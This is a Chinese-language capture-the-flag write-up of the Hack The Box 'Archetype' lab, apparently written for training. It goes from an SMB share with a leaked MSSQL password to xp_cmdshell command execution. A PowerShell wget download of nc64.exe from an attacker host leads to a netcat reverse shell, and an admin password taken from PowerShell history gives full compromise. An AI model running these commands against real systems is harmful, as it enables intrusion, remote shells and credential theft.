HTB - Archetype
外网打点
nmap和fscan扫描

可以看到开放了如下端口
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM

SMB默认账号登录
smbclient -L 10.129.240.132
可以看到有个ADMIN$,还有一个C$,那么肯定是访问C$,,C$共享是Windows机器的文件系统
但是当我们尝试之后发现只有backups可以默认账号访问
看看里面有什么东西

<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>在这里我们看到了数据库密码泄露mssql数据库密码泄露那这就简单了,并且告诉了我们身份认证的信息ARCHETYPE\sql_svc
Impacket mssqlclient.py
直接打mssqlclient.py

-windows-auth :此标志用于指定使用Windows身份验证
mssqlclient.py ARCHETYPE/sql_svc@10.129.240.132 -windows-auth然后输入密码:M3g4c0rp123

然后看一下命令
帮助选项描述了它提供的基本功能,这意味着我们需要进一步研究才能理解每个功能的内部工作原理。
这里有一篇很棒的文章,可以指导我们进一步探索MSSQL Server:
https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
作为第一步,我们需要检查在服务器中我们拥有什么角色。我们将使用在上述备忘单中找到的命令:
SELECT is_srvrolemember('sysadmin');
输出结果是1,这表示为真(True)。
在之前的备忘单中,我们还找到了如何通过xp_cmdshell设置命令执行:
EXEC xp_cmdshell 'net user';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;首先建议通过执行第一个命令来检查xp_cmdshell是否已经激活:
EXEC xp_cmdshell 'net user';
确实没有激活。因此我们需要按以下步骤激活xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;执行完成上面的命令才算激活完成
xp_cmdshell "whoami"现在我们可以愉快的玩耍了
最后我们成功实现了命令执行!
现在,我们将尝试获得一个稳定的反向shell。我们将把nc64.exe二进制文件上传到目标机器,并在我们监听的端口上执行交互式的cmd.exe进程。
我们可以从这里下载该二进制文件。
我们导航到该文件夹,然后启动简单的HTTP服务器,接着在不同的标签页中使用以下命令启动netcat监听器:
sudo python3 -m http.server 80sudo nc -lvnp 443为了将二进制文件上传到目标系统,我们需要找到合适的文件夹来存放它。我们将使用PowerShell来执行以下任务,因为它比普通的命令提示符提供了更多的功能。为了使用它,我们需要在每次想要执行时都指定它,直到我们获得反向shell。为此,我们将使用以下语法
powershell -c command
-c标志指示PowerShell执行该命令。
我们将通过以下命令打印当前工作目录:
我们找到了将要放置二进制文件的文件夹。为此,我们将在PowerShell中使用wget别名(wget实际上只是Invoke-WebRequest的别名):
xp_cmdshell "powershell -c pwd"
作为用户archetype\sql_svc,我们没有足够的权限在系统目录中上传文件,只有管理员用户才能执行更高权限的操作。我们需要将当前工作目录更改为用户主目录中可以写入的位置。经过快速枚举,我们发现Downloads目录非常适合我们放置二进制文件。为此,我们将在PowerShell中使用wget工具:
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.25/nc64.exe -outfile nc64.exe"我们可以在我们的简单Python HTTP服务器上验证目标机器确实发起了请求:

现在,我们可以通过 nc 将 cmd.exe 绑定到我们的监听器:
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.25 443"
然后就成功拿下了

最后在user.txt里面成功找到flag
权限提升
为了进行特权提升,我们将使用一个名为winPEAS的工具,它可以自动化目标系统中的大部分枚举过程。你可以在HTB学院的Windows特权提升模块中找到更多关于Windows系统特权提升路径枚举的信息。
可以从这里下载winpeas。我们将再次使用Python HTTP服务器将其传输到目标系统:
powershell
wget http://10.10.16.25/winPEASx64.exe -outfile winPEASx64.exe
我们成功下载了二进制文件。为了执行它,我们将执行以下操作:
.\winPEASx64.exe注意:该工具的输出很长,这里你只会看到输出的一小部分。
这里是输出的重要部分:

从输出中我们可以观察到我们拥有SeImpersonatePrivilege权限(更多信息可以在这里找到),这也容易受到juicy potato漏洞利用攻击。但是,我们可以首先检查两个可能找到凭据的现有文件。
由于这是一个普通用户账户以及服务账户,值得检查经常访问的文件或执行的命令。为此,我们将读取PowerShell历史文件,它相当于Linux系统中的.bash_history文件。ConsoleHost_history.txt文件位于目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\中。
我们可以导航到存储PowerShell历史记录的文件夹:

然后读一下powershell的历史命令

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!我们以明文形式获取了管理员用户(Administrator)的密码,即MEGACORP_4dm1n!!
现在我们可以再次使用Impacket工具包中的psexec.py工具来以管理员身份获取shell:
psexec.py administrator@10.129.240.132
然后我们切换到桌面下
成\有个root.txt看一下
